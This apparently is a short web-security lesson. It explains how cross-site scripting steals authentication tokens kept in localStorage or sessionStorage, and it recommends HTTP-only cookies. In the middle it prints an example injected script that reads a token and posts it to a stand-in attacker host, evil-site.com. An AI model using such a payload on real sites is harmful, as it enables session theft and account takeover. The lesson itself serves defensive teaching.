XSS Vulnerabilities in Token Storage
You'll learn how Cross-Site Scripting (XSS) attacks can steal authentication tokens from JavaScript-accessible storage locations.
The Core Problem
When you store tokens (like JWTs) in localStorage or sessionStorage, any JavaScript code running on your page can access them. That includes malicious scripts injected through XSS attacks.
Think of it like leaving your house key under the doormat. If someone breaks into your yard (XSS), they can easily find and use that key. XSS attacks inject unauthorized JavaScript into your web page—through comment sections, user profiles, search results, or any unescaped user input.
How XSS Steals Tokens
Once an attacker injects malicious JavaScript, stealing tokens is trivial:
// Attacker's injected script
const stolenToken = localStorage.getItem('authToken');
// Send token to attacker's server
fetch('https://evil-site.com/collect', {
method: 'POST',
body: JSON.stringify({ token: stolenToken })
});
The browser executes this script with full access to your storage. The user never sees it happen. The attacker now has a valid authentication token to impersonate that user.
Why This Matters
XSS vulnerabilities are common—they occur whenever your application displays user-generated content without proper sanitization. Even a single overlooked input field can expose all your users' tokens.
localStorage and sessionStorage are JavaScript-accessible, meaning they're vulnerable by design when XSS occurs. This is why HTTP-only cookies (covered earlier) are more secure—JavaScript simply cannot read them, even when XSS strikes.
Key Takeaway: Storing tokens in localStorage or sessionStorage creates an XSS vulnerability surface; any injected script can trivially read and exfiltrate authentication tokens, compromising user accounts.